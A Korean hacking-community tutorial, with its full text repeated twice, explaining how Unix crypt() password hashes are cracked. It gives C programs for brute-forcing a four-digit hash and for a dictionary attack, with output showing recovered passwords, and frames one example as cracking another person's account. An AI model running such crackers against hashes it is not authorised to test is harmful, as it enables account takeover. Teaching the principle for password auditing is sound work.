유닉스 패스워드 크랙프로그램 과 패스워드 암호화의 원리
대부분의 크랙 프로그램은 crypt()함수를 이용합니다.
과거부터 지금까지도 crypt()함수를 이용하여 만든 패스워드는 역암호화 알고리즘이
존재하지 않기때문에 즐겨 이용하는 부분이기도 합니다.
crypt()함수는 단지 salt 키와 패스워드를 제공하면 암호화 시킴니다.
그런데 역암호화 알고리즘이 존재하지도 않는데 어떻게 암호화 된 패스워드를
크랙 프로그램들이 줄줄이.. 풀어내는가~
이 글을 읽는 이는 혹 이런 생각을 할 수도 있다.
"역 암호화 알고리즘이 있으면서두 없다고 거짓말 하는 걸꺼야!!" ^^
하지만 그렇지 않습니다. 크랙프로그램의 돌아가는 원리를 살펴보자면 이렇습니다.
shadow 패스워드가 " 7tqNQGFbMOk3s " 가 있다고 합시다.
그렇다면 크랙 프로그램은 단어 사전 파일을 준비하라고 외칩니다!
참고로 단어사전 파일은 이렇게 되어있습니다.
a
aa
aaa
aaaa
abc
across
auto
......
.......
z
zz
zzz
zoo
..
이렇게 영어사전의 첫페이지에 나오는 단어만 한줄에 한단어씩 올라와 있습니다.
그러면 크랙 프로그램은 crypt() 함수에 위의 한줄에 한단어씩 넣어서 암호화된
패스워드를 만듭니다.
그리고 "7tqNQGFbMOk3s" 와 비교해봅시다..
틀리면 다음 단어로... 틀리면 다음단어로...
이렇게요..
맞습니다. 바로 노가다를 연상케 하는 장면이죠..
이게 바로 크랙 프로그램의 기본적인 동작입니다.
자.. 그럼 직접 크랙 프로그램 비슷한 것을 만들어 볼까요?
우선 crypt()함수에 대해서 찾아봅시다.
$ man crypt
CRYPT(3) Library functions CRYPT(3)
NAME
crypt - password and data encryption
SYNOPSIS
#define _XOPEN_SOURCE
#include <unistd.h>
char *crypt(const char *key, const char *salt);
(밑에는 생략)
맨 마지막 줄을 보세요.
char *crypt(const char *key, const char *salt);
이 부분이 crypt()함수의 사용법입니다.
salt 키는 암호화 할때 넣는 임시 변수로 값이 어떤것을 넣느냐에 따라 암호화된
패스워드가 달라집니다.
일반적으로 암호화 된 패스워드의 맨 앞부분 두개 문자가 salt 키입니다.
위에서 선보인 암호화된 패스워드를 살펴보면....(계속 나올꺼에요.)
"7tqNQGFbMOk3s" 에서 salt 키는 "7t" 입니다. 아시겠죠?
실제 프로그래밍 할때는 이렇게 하면 되겠죠?
crypt("단어","7t");
이렇게 하면 되요..
그러면 crypt()함수는 암호화된 패스워드를 내 밷습니다.
이번에는 실제로 암호화 된 패스워드를 만드는 프로그램을 만들어 보일께요.
#include <unistd.h>
main(int argc, char **argv)
{
char buf[1024];
if ( argc < 2 ) {
printf("usage: %s password salt_key\n",argv[0]);
exit(1);
}
strcpy(buf,crypt(argv[1],argv[2]));
printf("crypt [%s] => %s \n",argv[1],buf);
}
이 프로그램은 단순히 첫번째 인수로 단어를 받고 두번째 인수로는 salt 키를 받아요.
a.c 라고 위의 프로그램을 이름을 붙이고 컴파일을 합니다.
주의할 점은 컴파일시에 -lcrypt 라고 옵션을 줘야 합니다.
$ gcc -o a a.c -lcrypt
$ ./a hahaha 7t
crypt [hahaha] => 7tqNQGFbMOk3s
자아.. 보세요. hahaha 라는 단어와 salt 키가 7t 로 crypt()함수를 돌렸더니
위에서 선보였던 암호화된 패스워드 파일과 같죠?
이런 원리를 크랙프로그램이 이용하는 것입니다.
hahaha 라는 단어는 아마도 사전에 있을지도 모릅니다. 없다면 할 수 없지만 ^^;
이번에는 아주 간단한 패스워드 크랙 프로그램을 만들어 봅시다.
어떤 사람의 계정의 패스워드가 4자리 숫자로 만들어져 있다는 정보를 입수 했습니다.
어렵게 그 사람의 암호화 된 패스워드가 "5tYu1ywBg8xf2" 라는 것을 알았습니다.
자.. 이제 크랙을 해봅시다..
아참 프로그램을 만들어서 크랙을 해야겠죠?
만들어 봅시다.
프로그램을 만들기 전에 얻은 정보를 종합해봅시다.
1. 암호화 된 패스워드 : 5tYu1ywBg8xf2
2. salt 키 : 5t
3. 4자리로 된 패스워드이므로 패스워드의 범위는 1000 ~ 9999 중에 있음
위 정보를 토대로 프로그램을 만들어 봅시다.
직접 짜보세요.
/*
* 4 자리 숫자 크랙 프로그램
* - bugscan
*/
#include <unistd.h>
main(int argc, char **argv)
{
int count;
char buf[5];
for ( count=1000 ; count < 10000 ; count++ ) {
sprintf(buf,"%d",count);
if( !strcmp("5tYu1ywBg8xf2", (char *)crypt(buf, "5t")) ) {
printf("password crack success : %d \n",count );
break;
}
}
}
이 프로그램을 count_crack.c 라고 이름을 지어서 실행해보세요
다음과 같이 나오면 성공이죠.
$ gcc -o count_crack count_crack.c
$ ./count_crack
password crack success : 4233
$
정답이 4233 이다. 만약 안나오거나 틀리면 프로그램을 점검하기 바래요.
위 프로그램의 알고리즘은 상당히 간단해요
for()문을 이용하여 count 값이 1000 ~ 9999 까지 루프를 돌도록 했으며,
crypt()함수는 문자열만 받기때문에 count 상수를 buf 라는 문자 변수에
sprintf()함수를 이용하여 넣어서 사용했어요.
strcmp()함수로 원래의 암호화된 패스워드와 비교하는 문장을 사용하여
프로그램은 완성되었어요.
정말 대단하지 않은가요?
이번에는 진짜로 단어사전을 가져와 크랙을 돌리는 프로그램을 만들어볼께요.
준비 단단히 하세요.
이번에는 새로운 암호화된 패스워드를 얻었습니다.
"99u5LyKkDNKgk" <= 주의 대소문자를 잘 구분하세요. K 와 k 를.. ^^;
기존의 방법으로는 이 암호화된 패스워드를 찾을 수가 없습니다.
이번에는 단어 사전을 읽어서 패스워드를 찾도록 하겠습니다.
눈 크게 뜨고 쳐다보세요.
/*
password_crack
-by bugscan
*/
#include <stdio.h>
#include <unistd.h>
main(int argc, char **argv)
{
char word[81],buf[20];
FILE *fp;
if ( argc < 2 ) {
printf("usage : %s 단어사전\n",argv[0]);
exit(0);
}
fp = fopen(argv[1],"r"); /* 단어 사전 파일을 열어요. */
if ( !fp ) {
perror("open error");
exit(0);
}
while ( 1 ) {
if ( fscanf(fp,"%s",word) < 0) /* 사전에서 단어가져옴 */
{
printf("패스워드 찾기에 실패하였습니다.다른 단어사전을...\n");
break;
}
strcpy(buf,(char *)crypt(word,"99")); /* 암호화 시킴 */
if( !strcmp("99u5LyKkDNKgk",buf) ) /* 패스워드를 비교 */
{
printf("축하합니다.\n검색된 패스워드 : %s \n",word );
break;
}
}
fclose(fp);
exit(0);
}
이 프로그램을 cracker.c 라고 칭하고 컴파일 한다.
그리고 단어사전을 구해 놓는다.
여기서는 word 라는 파일이 단어사전이다.
$ gcc -o cracker cracker.c -lcrypt
$ ./cracker
usage : ./cracker 단어사전
$ ./cracker word
축하합니다.
검색된 패스워드 : love
이렇게 됩니다.
부디 이 프로그램을 이해 하셨길 바래요..
그리고 이 프로그램을 악용하시지는 마시고, 관리하시는 서버의 shadow 패스워드를
가져와 패스워드 부분만 복사해서 이 프로그램을 손봐서 돌려보세요.
쉽게 패스워드를 만든 id가 있으면 그 사람에게 메일을 보내 특수문자가 들어가있는
패스워드로 바꾸라고 경고 할 수도 있습니다.
혹시 모르니까요..
다음에 더 재미있는 프로그래밍 강좌를 할것을 약속하며...
-이상 동급해커의 연설이었습니다...-
saladin 강건마.
출처 : http://cafe.daum.net/hackerz
대부분의 크랙 프로그램은 crypt()함수를 이용합니다.
과거부터 지금까지도 crypt()함수를 이용하여 만든 패스워드는 역암호화 알고리즘이
존재하지 않기때문에 즐겨 이용하는 부분이기도 합니다.
crypt()함수는 단지 salt 키와 패스워드를 제공하면 암호화 시킴니다.
그런데 역암호화 알고리즘이 존재하지도 않는데 어떻게 암호화 된 패스워드를
크랙 프로그램들이 줄줄이.. 풀어내는가~
이 글을 읽는 이는 혹 이런 생각을 할 수도 있다.
"역 암호화 알고리즘이 있으면서두 없다고 거짓말 하는 걸꺼야!!" ^^
하지만 그렇지 않습니다. 크랙프로그램의 돌아가는 원리를 살펴보자면 이렇습니다.
shadow 패스워드가 " 7tqNQGFbMOk3s " 가 있다고 합시다.
그렇다면 크랙 프로그램은 단어 사전 파일을 준비하라고 외칩니다!
참고로 단어사전 파일은 이렇게 되어있습니다.
a
aa
aaa
aaaa
abc
across
auto
......
.......
z
zz
zzz
zoo
..
이렇게 영어사전의 첫페이지에 나오는 단어만 한줄에 한단어씩 올라와 있습니다.
그러면 크랙 프로그램은 crypt() 함수에 위의 한줄에 한단어씩 넣어서 암호화된
패스워드를 만듭니다.
그리고 "7tqNQGFbMOk3s" 와 비교해봅시다..
틀리면 다음 단어로... 틀리면 다음단어로...
이렇게요..
맞습니다. 바로 노가다를 연상케 하는 장면이죠..
이게 바로 크랙 프로그램의 기본적인 동작입니다.
자.. 그럼 직접 크랙 프로그램 비슷한 것을 만들어 볼까요?
우선 crypt()함수에 대해서 찾아봅시다.
$ man crypt
CRYPT(3) Library functions CRYPT(3)
NAME
crypt - password and data encryption
SYNOPSIS
#define _XOPEN_SOURCE
#include <unistd.h>
char *crypt(const char *key, const char *salt);
(밑에는 생략)
맨 마지막 줄을 보세요.
char *crypt(const char *key, const char *salt);
이 부분이 crypt()함수의 사용법입니다.
salt 키는 암호화 할때 넣는 임시 변수로 값이 어떤것을 넣느냐에 따라 암호화된
패스워드가 달라집니다.
일반적으로 암호화 된 패스워드의 맨 앞부분 두개 문자가 salt 키입니다.
위에서 선보인 암호화된 패스워드를 살펴보면....(계속 나올꺼에요.)
"7tqNQGFbMOk3s" 에서 salt 키는 "7t" 입니다. 아시겠죠?
실제 프로그래밍 할때는 이렇게 하면 되겠죠?
crypt("단어","7t");
이렇게 하면 되요..
그러면 crypt()함수는 암호화된 패스워드를 내 밷습니다.
이번에는 실제로 암호화 된 패스워드를 만드는 프로그램을 만들어 보일께요.
#include <unistd.h>
main(int argc, char **argv)
{
char buf[1024];
if ( argc < 2 ) {
printf("usage: %s password salt_key\n",argv[0]);
exit(1);
}
strcpy(buf,crypt(argv[1],argv[2]));
printf("crypt [%s] => %s \n",argv[1],buf);
}
이 프로그램은 단순히 첫번째 인수로 단어를 받고 두번째 인수로는 salt 키를 받아요.
a.c 라고 위의 프로그램을 이름을 붙이고 컴파일을 합니다.
주의할 점은 컴파일시에 -lcrypt 라고 옵션을 줘야 합니다.
$ gcc -o a a.c -lcrypt
$ ./a hahaha 7t
crypt [hahaha] => 7tqNQGFbMOk3s
자아.. 보세요. hahaha 라는 단어와 salt 키가 7t 로 crypt()함수를 돌렸더니
위에서 선보였던 암호화된 패스워드 파일과 같죠?
이런 원리를 크랙프로그램이 이용하는 것입니다.
hahaha 라는 단어는 아마도 사전에 있을지도 모릅니다. 없다면 할 수 없지만 ^^;
이번에는 아주 간단한 패스워드 크랙 프로그램을 만들어 봅시다.
어떤 사람의 계정의 패스워드가 4자리 숫자로 만들어져 있다는 정보를 입수 했습니다.
어렵게 그 사람의 암호화 된 패스워드가 "5tYu1ywBg8xf2" 라는 것을 알았습니다.
자.. 이제 크랙을 해봅시다..
아참 프로그램을 만들어서 크랙을 해야겠죠?
만들어 봅시다.
프로그램을 만들기 전에 얻은 정보를 종합해봅시다.
1. 암호화 된 패스워드 : 5tYu1ywBg8xf2
2. salt 키 : 5t
3. 4자리로 된 패스워드이므로 패스워드의 범위는 1000 ~ 9999 중에 있음
위 정보를 토대로 프로그램을 만들어 봅시다.
직접 짜보세요.
/*
* 4 자리 숫자 크랙 프로그램
* - bugscan
*/
#include <unistd.h>
main(int argc, char **argv)
{
int count;
char buf[5];
for ( count=1000 ; count < 10000 ; count++ ) {
sprintf(buf,"%d",count);
if( !strcmp("5tYu1ywBg8xf2", (char *)crypt(buf, "5t")) ) {
printf("password crack success : %d \n",count );
break;
}
}
}
이 프로그램을 count_crack.c 라고 이름을 지어서 실행해보세요
다음과 같이 나오면 성공이죠.
$ gcc -o count_crack count_crack.c
$ ./count_crack
password crack success : 4233
$
정답이 4233 이다. 만약 안나오거나 틀리면 프로그램을 점검하기 바래요.
위 프로그램의 알고리즘은 상당히 간단해요
for()문을 이용하여 count 값이 1000 ~ 9999 까지 루프를 돌도록 했으며,
crypt()함수는 문자열만 받기때문에 count 상수를 buf 라는 문자 변수에
sprintf()함수를 이용하여 넣어서 사용했어요.
strcmp()함수로 원래의 암호화된 패스워드와 비교하는 문장을 사용하여
프로그램은 완성되었어요.
정말 대단하지 않은가요?
이번에는 진짜로 단어사전을 가져와 크랙을 돌리는 프로그램을 만들어볼께요.
준비 단단히 하세요.
이번에는 새로운 암호화된 패스워드를 얻었습니다.
"99u5LyKkDNKgk" <= 주의 대소문자를 잘 구분하세요. K 와 k 를.. ^^;
기존의 방법으로는 이 암호화된 패스워드를 찾을 수가 없습니다.
이번에는 단어 사전을 읽어서 패스워드를 찾도록 하겠습니다.
눈 크게 뜨고 쳐다보세요.
/*
password_crack
-by bugscan
*/
#include <stdio.h>
#include <unistd.h>
main(int argc, char **argv)
{
char word[81],buf[20];
FILE *fp;
if ( argc < 2 ) {
printf("usage : %s 단어사전\n",argv[0]);
exit(0);
}
fp = fopen(argv[1],"r"); /* 단어 사전 파일을 열어요. */
if ( !fp ) {
perror("open error");
exit(0);
}
while ( 1 ) {
if ( fscanf(fp,"%s",word) < 0) /* 사전에서 단어가져옴 */
{
printf("패스워드 찾기에 실패하였습니다.다른 단어사전을...\n");
break;
}
strcpy(buf,(char *)crypt(word,"99")); /* 암호화 시킴 */
if( !strcmp("99u5LyKkDNKgk",buf) ) /* 패스워드를 비교 */
{
printf("축하합니다.\n검색된 패스워드 : %s \n",word );
break;
}
}
fclose(fp);
exit(0);
}
이 프로그램을 cracker.c 라고 칭하고 컴파일 한다.
그리고 단어사전을 구해 놓는다.
여기서는 word 라는 파일이 단어사전이다.
$ gcc -o cracker cracker.c -lcrypt
$ ./cracker
usage : ./cracker 단어사전
$ ./cracker word
축하합니다.
검색된 패스워드 : love
이렇게 됩니다.
부디 이 프로그램을 이해 하셨길 바래요..
그리고 이 프로그램을 악용하시지는 마시고, 관리하시는 서버의 shadow 패스워드를
가져와 패스워드 부분만 복사해서 이 프로그램을 손봐서 돌려보세요.
쉽게 패스워드를 만든 id가 있으면 그 사람에게 메일을 보내 특수문자가 들어가있는
패스워드로 바꾸라고 경고 할 수도 있습니다.
혹시 모르니까요..
다음에 더 재미있는 프로그래밍 강좌를 할것을 약속하며...
-이상 동급해커의 연설이었습니다...-
saladin 강건마.
출처 : http://cafe.daum.net/hackerz